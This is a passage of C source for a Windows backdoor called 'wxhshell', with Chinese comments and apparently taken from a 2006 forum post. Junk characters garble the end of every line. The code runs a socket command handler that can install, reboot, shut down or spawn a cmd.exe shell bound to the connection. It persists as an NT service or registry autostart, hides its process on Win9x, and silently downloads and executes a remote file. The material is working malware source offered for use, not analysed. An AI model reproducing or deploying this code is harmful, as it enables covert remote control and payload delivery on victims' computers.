  // 帮助 ne61}F"E  
  case '?': { H7U li]e3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +x? #DH-  
    break; GuZ ( &G6*  
  } l.\re"Q  
  // 安装 U-k+9f 0  
  case 'i': { J`q]6qf#  
    if(Install()) $&s=68  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QVF]Ci_=  
    else $WYbm}j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cfox7FmW  
    break; Xtz-\v#0o'  
    } )#a[-.OI  
  // 卸载 &zQ2M#{82  
  case 'r': { \T]EZ'+O  
    if(Uninstall()) Qu5UVjbE,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '}g*!jL  
    else SvN9aD1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d_n7k g+  
    break; j*e6 vX  
    } ms($9Lv/  
  // 显示 wxhshell 所在路径 GU't%[  
  case 'p': { 1Gt/Tq$_b  
    char svExeFile[MAX_PATH]; ,\ 2a=Fp  
    strcpy(svExeFile,"\n\r"); :+{ ?  
      strcat(svExeFile,ExeFile); Tmh(= TB'  
        send(wsh,svExeFile,strlen(svExeFile),0); 7&`}~$>}>e  
    break; 5qg2Zc~  
    } -/_L*oYli  
  // 重启 /&u<TJ4  
  case 'b': { i{!T&8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {T"0DSV   
    if(Boot(REBOOT)) 2j(h+?N7k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "'g[1Li  
    else { Xi?b]Z  
    closesocket(wsh); ;})5:\h  
    ExitThread(0); +\li*G]:J  
    } 7iHK_\tn  
    break; Auy_K?he]  
    } c4_`Ew^k  
  // 关机 Qn ^bVhG+  
  case 'd': { t9&c E:n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $?,a[79  
    if(Boot(SHUTDOWN)) t+,4Ya|Xj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g8!wb{8?s  
    else { K:' q>D@  
    closesocket(wsh); h._nK\  
    ExitThread(0); C^ Q tSha  
    } [4fU+D2\d  
    break; ;> m"x  
    } e]=!"nJ+  
  // 获取shell tO_H!kP  
  case 's': { tbnH,*  
    CmdShell(wsh); 0!z@2[Pe66  
    closesocket(wsh); SXao|{?O  
    ExitThread(0); `mye}L2I  
    break; lpH=2l$>?  
  } B?$ "\;&  
  // 退出 H _Va"yTO6  
  case 'x': { gyS+9)gY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .I}:m%zv  
    CloseIt(wsh); bCZ g cN  
    break; zI~owK)%Z  
    } yL;M"L  
  // 离开 Le"oAA#[  
  case 'q': { l!#m&'16"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); < j$#9QQ1  
    closesocket(wsh); DF6c|  
    WSACleanup(); j-]&'-h}#  
    exit(1); OLq 0V3m  
    break; lfk9+)  
        } ~E4"}n[3A#  
  } $awi>#[  
  }  \d.F82  
9-*NW0  
  // 提示信息 V6iL5&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eR']#Q46{T  
} 5,+\`!g  
  } x_@i(oQ:_  
3bC yTZk  
  return; _3Q8n|  
} l52a\/  
!J>A,D"-  
// shell模块句柄 #?} 6t~  
int CmdShell(SOCKET sock) <v]9lw'  
{ }4jC_ZAupt  
STARTUPINFO si; Qqs"?Z,P  
ZeroMemory(&si,sizeof(si)); 1uG=`k8'k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~HLRfL?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ph30'"[Z}  
PROCESS_INFORMATION ProcessInfo; 4dhqLVgL{  
char cmdline[]="cmd"; lhn8^hOJ/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <SXZx9A!  
  return 0; C77D{@SM  
} u'9gVU B  
[p;*r)f2}  
// 自身启动模式 _pDjg%A>n  
int StartFromService(void) RpQ*!a~O  
{ -R+zeu(e'  
typedef struct I/u9RmbU  
{ HR{s&ho  
  DWORD ExitStatus; [$:,-Q@  
  DWORD PebBaseAddress; SPy3~Db-o  
  DWORD AffinityMask; w[fDk1H)  
  DWORD BasePriority; &W_th\%  
  ULONG UniqueProcessId; 4^Qi2[w  
  ULONG InheritedFromUniqueProcessId; vb=CFV#  
}   PROCESS_BASIC_INFORMATION; 9{J?HFw*;  
 0%Q9}l#7  
PROCNTQSIP NtQueryInformationProcess; aPIr_7e  
X BI;Lg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n E :'Zxj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; = t+('  
,7/ _T\d<  
  HANDLE             hProcess; *re 44  
  PROCESS_BASIC_INFORMATION pbi; `"<2)yq?  
;<6"JP>0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZxSsR{  
  if(NULL == hInst ) return 0; Xz1c6mX|o  
Lt<oi8'N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9]~PC Z2j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZJXqCo7O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }brr ) )  
vo;5f[>4i  
  if (!NtQueryInformationProcess) return 0; z-Hkz  
70`M,``  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h;Mu[`  
  if(!hProcess) return 0; }MZan" cfo  
U>3 >Ex  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *,jqE9:O  
NG-`ag`s  
  CloseHandle(hProcess); ' o=E!?  
+{vQS FW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); twbcuaCTW  
if(hProcess==NULL) return 0; TNsg pJ?\  
iPFL"v<#J  
HMODULE hMod; %F3}/2  
char procName[255]; = o+7xom  
unsigned long cbNeeded; "'aqb~j^  
3;D?|E]1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _h~p:=  
/,t| !)\]  
  CloseHandle(hProcess); sN@j5p^jc  
c,AZ/t  
if(strstr(procName,"services")) return 1; // 以服务启动 AO8:|?3S  
ORtg>az\%  
  return 0; // 注册表启动 /C7svH  
} 7 s-`QdWX  
Bfn]-]>sD  
// 主模块 EFNdiv$wF  
int StartWxhshell(LPSTR lpCmdLine) Fj3^ #ly  
{ g\j>qUjs%Q  
  SOCKET wsl; 6m\*]nOy4  
BOOL val=TRUE; 3Pa3f >}-  
  int port=0; v['AB4  
  struct sockaddr_in door; p}r yKW\cJ  
C&FN#B  
  if(wscfg.ws_autoins) Install(); `x< 0A  
q|/!0MU"  
port=atoi(lpCmdLine); q4zSS #]A  
(Z'WR  
if(port<=0) port=wscfg.ws_port; dc)wu]  
iUpSN0XkMM  
  WSADATA data; mR6E]TuM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \hu':@}  
l [x%I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B ;;cbY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @Z,qu2~|!  
  door.sin_family = AF_INET; 'bG1U`v=3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;7)OSGR  
  door.sin_port = htons(port); yh4jRe?f  
DZF[dxH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e ^-3etx  
closesocket(wsl); vr<)Ay  
return 1; @t "~   
} ]+FX$+H/A0  
7-(>"75Q|  
  if(listen(wsl,2) == INVALID_SOCKET) { (PyTq 5:F  
closesocket(wsl); EF0Pt  
return 1; yr (g~MQ  
} 4$qNcMdz  
  Wxhshell(wsl); ,q/tyGj  
  WSACleanup(); '[ @F%  
.$n$%|"H-  
return 0; p`pg5R  
!7ph,/P$7  
} ^7J~W'hI  
{_?T:`  
// 以NT服务方式启动 ]L[JS^#7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^n6)YX  
{ |;X?">7NW  
DWORD   status = 0; 'nC3:U  
  DWORD   specificError = 0xfffffff; m*Q[lr=  
hg$qb eUl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ty g$`\#   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A%.J%[MVz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jdV .{8@  
  serviceStatus.dwWin32ExitCode     = 0; ~R"]LbeY  
  serviceStatus.dwServiceSpecificExitCode = 0; ]J8KCjq@  
  serviceStatus.dwCheckPoint       = 0; Aqx3!  
  serviceStatus.dwWaitHint       = 0; \7OJN ~&<  
V[BY/<z)A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m~Kch~~]  
  if (hServiceStatusHandle==0) return; BnKP7e  
~.\73_M=A  
status = GetLastError(); 5bu[}mJ  
  if (status!=NO_ERROR) 6R$ F =MB  
{ 34/]m/2NZK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lGD%R'}  
    serviceStatus.dwCheckPoint       = 0; ^KaqvG$ed  
    serviceStatus.dwWaitHint       = 0; *qeic e%E  
    serviceStatus.dwWin32ExitCode     = status; h(+m<J  
    serviceStatus.dwServiceSpecificExitCode = specificError; BLl%D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l(3'Re  
    return; 0~PXa(!^K  
  } ,(;p(#F>  
i?1js! 8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GFASF,+  
  serviceStatus.dwCheckPoint       = 0; knNhN=hG+  
  serviceStatus.dwWaitHint       = 0; 1B9Fb.i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t  z +  
} =hZ&66  
m11"i=S"  
// 处理NT服务事件,比如:启动、停止 }"g21-T^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m2-fi*Mgg  
{ Ti9:'I  
switch(fdwControl) Qwp\)jVi  
{ !%Z)eO~Z  
case SERVICE_CONTROL_STOP: Et @=Ic^E  
  serviceStatus.dwWin32ExitCode = 0; @&i#S}%/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kb>Vw<NtE  
  serviceStatus.dwCheckPoint   = 0; " kE:T.,  
  serviceStatus.dwWaitHint     = 0; jFJW3az@z  
  { Hm.&f2|(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +7lRP)1R  
  } 9" }^SI8  
  return; hX'z]Am<  
case SERVICE_CONTROL_PAUSE: /q*Qx )y+1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OxmlzQ"vM  
  break; BW;=i.  
case SERVICE_CONTROL_CONTINUE: \U<F\i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U:pLnNp`  
  break; k?|F0e_  
case SERVICE_CONTROL_INTERROGATE: =@ L5  
  break; 6/V{>MTZg  
}; npG+# z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [# tT o;q  
} ,,C~j`F  
]Nd'%M  
// 标准应用程序主函数 mAYr<=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9rf|r 3  
{ DoCQFSL  
3' :[i2[  
// 获取操作系统版本 i}$N&  
OsIsNt=GetOsVer(); q=E}#[EgY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I%zo>s6  
[pC-{~  
  // 从命令行安装 [ ;3EzZL  
  if(strpbrk(lpCmdLine,"iI")) Install(); [r~rIb%Zj  
Ie`SWg*WL  
  // 下载执行文件 OL mBh3&  
if(wscfg.ws_downexe) { 5f^`4 pT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 31o7R &v  
  WinExec(wscfg.ws_filenam,SW_HIDE);  ]5)&36  
} 3/SqXu  
BB73' W8y  
if(!OsIsNt) { A0N ;VYv  
// 如果时win9x,隐藏进程并且设置为注册表启动 [(e`b  
HideProc(); 8L9S^ '  
StartWxhshell(lpCmdLine); s$nfY.C  
} 1rm$@L  
else 1r-,V X7  
  if(StartFromService()) ][$$  =  
  // 以服务方式启动 pQgOT0f  
  StartServiceCtrlDispatcher(DispatchTable); i7w}`vs  
else 5-QvQ&eH.  
  // 普通方式启动 @l6 dJ  
  StartWxhshell(lpCmdLine); N(({2'Rr  
lj}1'K@M  
return 0; Nno={i1jk  
}
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只看该作者 1 发表于: 2006-10-10
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